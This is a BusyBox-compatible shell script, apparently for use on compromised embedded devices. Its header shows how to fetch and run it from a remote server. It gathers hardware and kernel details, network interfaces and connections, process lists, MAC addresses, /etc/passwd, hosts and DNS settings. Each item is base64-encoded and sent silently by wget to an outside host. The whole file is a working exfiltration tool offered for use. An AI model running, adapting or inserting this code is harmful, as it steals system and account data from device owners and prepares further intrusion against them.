#!/bin/sh
# recon.sh — environment fingerprint exfiltration, run on the target via:
#   cd /tmp;wget -q http://haiiiihello.top/a/recon.sh -O /tmp/rc;sh /tmp/rc <tag>
# Sends each datum as a base64 GET query to the payload server (/r?...),
# visible in the payload-web journal. BusyBox-compatible, silent on failure.
T="${1:-recon}"
S="http://haiiiihello.top"
B64="base64"

send() { # name value
  N="$1"; V="$2"
  [ -n "$V" ] || return
  B=$(echo "$V" | $B64 2>/dev/null | tr -d '\n')
  [ -n "$B" ] || return
  wget -q "$S/r?v=$T&n=$N&d=$B" -O /dev/null 2>/dev/null
}

sendfile() { # name path
  N="$1"; F="$2"
  [ -r "$F" ] || return
  V=$(head -60 "$F" 2>/dev/null)
  send "$N" "$V"
}

# Identity / kernel
send hostname "$(hostname 2>/dev/null)"
send uname "$(uname -a 2>/dev/null)"
send date "$(date 2>/dev/null)"
send busybox "$(busybox 2>&1 | head -1)"
sendfile version /proc/version
sendfile cmdline /proc/cmdline
sendfile cpuinfo /proc/cpuinfo
sendfile meminfo /proc/meminfo
sendfile uptime_f /proc/uptime
sendfile loadavg /proc/loadavg
sendfile mounts /proc/mounts
sendfile mtd /proc/mtd
sendfile partitions /proc/partitions
sendfile net_dev /proc/net/dev
sendfile net_tcp /proc/net/tcp
send ps "$(ps 2>/dev/null | head -40)"

# Network identity
for i in /sys/class/net/*/address; do
  A=$(cat "$i" 2>/dev/null)
  N=${i#/sys/class/net/}
  N=${N%/address}
  send "mac" "$N $A"
done
send ifaces "$(ls /sys/class/net 2>/dev/null | tr '\n' ',')"

# DMI / firmware hints
send dmi_ls "$(ls /sys/class/dmi/id 2>/dev/null | tr '\n' ',')"
sendfile dmi_sys_vendor /sys/class/dmi/id/sys_vendor
sendfile dmi_product /sys/class/dmi/id/product_name
sendfile dmi_bios /sys/class/dmi/id/bios_vendor
sendfile os_release /etc/os-release
sendfile issue /etc/issue
sendfile openwrt_release /etc/openwrt_release
sendfile buildroot_release /etc/buildroot-release
sendfile passwd /etc/passwd
sendfile hosts /etc/hosts
sendfile resolv /etc/resolv.conf
send etc_ls "$(ls /etc 2>/dev/null | tr '\n' ',')"
send dev_ls "$(ls /dev 2>/dev/null | tr '\n' ',')"
send tmp_ls "$(ls /tmp 2>/dev/null | tr '\n' ',')"
send root_ls "$(ls / 2>/dev/null | tr '\n' ',')"
send proc_ls "$(ls /proc 2>/dev/null | tr '\n' ',')"

exit 0